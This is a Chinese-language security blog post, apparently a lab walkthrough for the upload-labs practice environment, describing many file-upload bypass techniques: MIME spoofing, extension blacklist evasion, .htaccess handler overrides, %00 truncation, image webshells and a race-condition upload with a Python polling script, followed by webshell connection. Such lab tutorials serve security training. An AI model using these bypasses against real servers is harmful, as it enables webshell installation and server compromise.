文件上传绕过

admin 2025年2月8日00:00:56评论5 views字数 4624阅读15分24秒阅读模式

原文链接:https://www.freebuf.com/articles/web/419760.html

测试过程

1、创建一个php文件

2、内容为

:::info

攻击语句:

:::

3、上传对应php文件,访问对应文件所在路径

文件上传绕过

4、使用中国蚁剑进行链接

文件上传绕过
文件上传绕过

upload-labs总结

https://www.freebuf.com/articles/web/385709.html

upload-labs通关攻略(全) - 清茶先生 - 博客园

https://blog.csdn.net/weixin_47598409/article/details/115050869

前端校验

对文件后缀进行校验

1、先上传png后缀,用burp抓包改成php后缀,访问图片路径

文件上传绕过

2、禁用前端javascript

文件上传绕过

MIME校验

两种方法:第一种是上传php文件,改Content-Type,第二种是上传合法后缀文件,改文件后缀。

法一:

改Content-Type:改为图片格式,image/png image/jpeg

文件上传绕过

法二:更改文件后缀

上传png文件,用burp改成图片后缀,png,jpg等

文件上传绕过

黑名单

apache http配置改成

文件上传绕过

黑名单策略---在服务器上不允许特定后缀的文件上传(PHP, asp, jsp)

php环境可以尝试的后缀php1,php2,php3,php4.php5,phtmI, pht

修改Apache http配置,添加

:::info
AddType application/x-httpd-php .php3 .php4 .phtml .phps .php5 .pht

:::

文件上传绕过

访问,链接

特殊字符::$DATA绕过

文件上传绕过

在url把::$DATA去掉

文件上传绕过

.htaccess

这一关我们可以看到禁止上传文件可太多了,几乎完全屏蔽

源码黑名单

:::info
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");

:::

文件上传绕过

1.但是.htaccess还是没有过滤,可以重写文件解析规则绕过,上传一个.htaccess,这个文件内容的意思是告诉apache当遇到qianxun.jpg文件时,按照php去解析,文件内容如下:

<FilesMatch "xxx.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

我们再创建一个php测试文件xxx.php

分别将.htaccess文件和xxx.jpg文件上传

AddType application/x-httpd-php .jpg

用浏览器访问xxx.jpg:

文件上传绕过

如图所示,xxx.jpg被成功解析

删除末尾的点

这一关的思路是它没有循环验证,也就是说这些收尾去空,删除末尾的点,在数据包中把后缀名改为.php. .

文件上传绕过

大小写

改成全大写,或个别大小写 Php PhP

文件上传绕过

空格绕过

文件后缀后面加空格

文件上传绕过

文件后缀加点

php.

双写

.ppphp

文件上传绕过

白名单

get%00截断

apache版本调至5.2.17

magic_quotes_gpc=off (php.ini)

前提url路径可控,你可以修改上传路径,

文件上传绕过

上传s1.php文件,将路径改成s1.php%00,

filename改成s1.png

文件上传绕过

把后面截断的去掉

文件上传绕过
文件上传绕过

post%00截断

apache版本调至5.2.17

magic_quotes_gpc=off (php.ini)

前提请求体路径可控,你可以修改上传路径,

这一关白名单,文件上传路径拼接生成,而且使用了post发送的数据进行拼接,我们可以控制post数据进行0x00截断绕过白名单

补充知识:POST不会对里面的数据自动解码,需要在Hex中修改。

<font style="color:rgb(199, 37, 78);background-color:rgb(249, 242, 244);">../upload/</font>路径下加上<font style="color:rgb(199, 37, 78);background-color:rgb(249, 242, 244);">s1.php+</font><font style="color:rgb(199, 37, 78);background-color:rgb(249, 242, 244);">+号</font>是为了方便后面修改<font style="color:rgb(199, 37, 78);background-color:rgb(249, 242, 244);">Hex</font>

文件上传绕过

切换hex,寻找<font style="color:rgb(199, 37, 78);background-color:rgb(249, 242, 244);">+号</font>的Hex是<font style="color:rgb(199, 37, 78);background-color:rgb(249, 242, 244);">2b</font>,这里我们要把它改为<font style="color:rgb(199, 37, 78);background-color:rgb(249, 242, 244);">00</font>

文件上传绕过
文件上传绕过
文件上传绕过

放出请求,删除后面截断的内容

文件上传绕过
文件上传绕过

图片马

1、前提要结合文件包含才能用图片马

这一关会读取判断上传文件的前两个字节,判断上传文件类型,并且后端会根据判断得到的文件类型重命名上传文件

1.Png图片文件包括8字节:89 50 4E 47 0D 0A 1A 0A。即为 .PNG。

2.Jpg图片文件包括2字节:FF D8。

3.Gif图片文件包括6字节:47 49 46 38 39|37 61 。即为 GIF89(7)a。

4.Bmp图片文件包括2字节:42 4D。即为 BM。

<font style="color:rgb(199, 37, 78);background-color:rgb(249, 242, 244);">cmd</font>使用<font style="color:rgb(199, 37, 78);background-color:rgb(249, 242, 244);">copy 77.png/b + s1.php pass14.png</font>制作<font style="color:rgb(199, 37, 78);background-color:rgb(249, 242, 244);">图片马</font>,上传图片马

或者

在文件头部添加图片格式:

GIF的文件头为GIF89a,png的文件头为PNG。

文件上传绕过
文件上传绕过
文件上传绕过

改成png格式或gif,上传

文件上传绕过

用文件包含漏洞

:::info
http://127.0.0.1/upload-labs/include.php?file=upload/2320250109221923.gif

:::

文件上传绕过

2、使用010edit比较上传后两个文件的不同,把攻击语句粘贴到不会删除的位置

文件上传绕过

比较文件点击match,插入

文件上传绕过

结合文件包含,include.php?file=upload/1099891432.gif

文件上传绕过
文件上传绕过

条件竞争

由于文件上传到后端才判断文件后缀是否符合条件后缀,符合就通过,不符合就删除。

使用move_uploaded_file()函数,将上传的文件保存到服务器,再进行判断是否是jpg、png、gif中的一种类型,如果在数组中就保存重命名,如果不在根据unlink()就直接删除

代码他是先将图片上传上去,才开始进行判断后缀名、二次渲染。如果在上传上去的一瞬间访问这个文件,那他就不能对这个文件删除、二次渲染。这就相当于我们打开了一个文件,然后再去删除这个文件,就会提示这个文件在另一程序中打开无法删除。

解决方式:

使用burp一直发请求上传php文件,然后去浏览器访问图片,让它反应不过来

上传php文件

php文件内容为

fputs(fopen('Tony.php','w'),'');?>

文件上传绕过

发给intruder,不断上传

文件上传绕过
文件上传绕过

使用python写一段脚本不断访问创建的文件

http://127.0.0.1/upload-labs/upload/cjTom.php

import requests
url = "http://127.0.0.1/upload-labs/upload/cjTom.php"
while True:
    html = requests.get(url)
    if html.status_code == 200:
        print("OK")
        break
文件上传绕过

再去访问创建的文件

http://127.0.0.1/upload-labs/upload/Tony.php,使用蚁剑链接

文件上传绕过

上传图片马

上传图片马

');?>

文件上传绕过
文件上传绕过
文件上传绕过
文件上传绕过
文件上传绕过

使用python捕捉

import requests
url = "http://127.0.0.1/upload-labs/include.php?file=upload/221.gif"
while True:
    html = requests.get(url)
    if html.status_code == 200:
        print("OK")
        break

当出现<font style="color:rgb(199, 37, 78);background-color:rgb(249, 242, 244);">OK</font>说明访问到了该文件,那么<font style="color:rgb(199, 37, 78);background-color:rgb(249, 242, 244);">Tony.php</font>应该也创建成功了,用蚁剑连一下试试。

这里注意一下蚁剑连接的<font style="color:rgb(199, 37, 78);background-color:rgb(249, 242, 244);">URL</font><font style="color:rgb(199, 37, 78);background-color:rgb(249, 242, 244);">http://xxx.xxx.xxx.xxx/upload-labs/Tony.php</font>

对文件名做判断

没有对上传的文件做判断,只对用户输入的文件名做判断
后缀名黑名单
上传的文件名用户可控
黑名单用于用户输入的文件后缀名进行判断
move_uploaded_file()还有这么一个特性,会忽略掉文件末尾的<font style="color:rgb(199, 37, 78);background-color:rgb(249, 242, 244);">/.</font>

先准备PHP一句话木马,并把后缀名改为PNG再上传

文件上传绕过

访问图片

文件上传绕过

原文始发于微信公众号(网安探索员):文件上传绕过

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月8日00:00:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   文件上传绕过https://cn-sec.com/archives/3711891.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息